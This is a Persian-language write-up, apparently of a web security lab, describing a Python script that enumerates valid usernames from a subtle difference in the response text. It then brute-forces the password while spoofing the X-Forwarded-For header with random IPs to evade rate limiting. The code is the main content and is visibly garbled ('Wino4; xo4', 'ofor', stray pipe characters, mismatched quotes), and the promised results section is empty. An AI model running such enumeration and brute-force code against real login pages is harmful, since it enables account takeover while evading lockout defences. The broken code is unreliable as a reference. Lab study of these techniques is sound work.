در ابتدا url و session خود را در کد قرار می دهیم.

سپس username candidates را در فایل متنی ریخته و با پیمایش مقادیر آن، response ها را بررسی می کنیم. اگر response دارای نقطه در انتهای جمله نباشد، به این معنی است که username صحیح است. ( رفتار متمایز با سایر username ها)

```
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Wino4; xo4)',

'X-Forwarded-For': ip

# Submit the login request with the given password and IP

response = requests.post(url, headers=headers, cookies=cookies, data=data)

html = BeautifulSoup(response.text, "html.parser")

message = html.select(".is-warning")

if "Invalid username or password." in message[0]:

print(f"username: {username} doesn't exists!")

else:

print(f"username: {username} found!')

found_username = username

break

with open("passwords.txt", "r") as f:

passwords = f.read().splitlines()

found_password = None

ofor password in passwords:

ip = random_ip_generator()

data = {'username': f'{found_username}', 'password': password}

# Set up the headers with the modified "X-Forwarded-for" header

headers = {
    "User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Wino4; xo4)',
```

در ادامه نیز پسوردهای مختلف را تست می کنیم و در صورتی که response دارای بخش invalid username or password نباشد، نتیجه می گیریم پسورد درست است.

```
'X-Forwarded-For': ip

| Submit the login request with the given password and IP
| response = requests.post(url, headers=headers, cookies=cookies, data=data)
| html = BeautifulSoup(response.text, "html.parser")
| message = html.select(".is-warning")
| if len(message) > 0:
| print(f"password: {password} for username: {found_username} was incorrect!")
| else:
| print(f'password successfully found with username: {found_username} and password: {password}')
| found_password = password |
| break | break
```

در واقع اینکار را با استخراج کلاس is\_warning از کد html انجام می دهیم

نتایج نیز به شرح زیر می باشند:





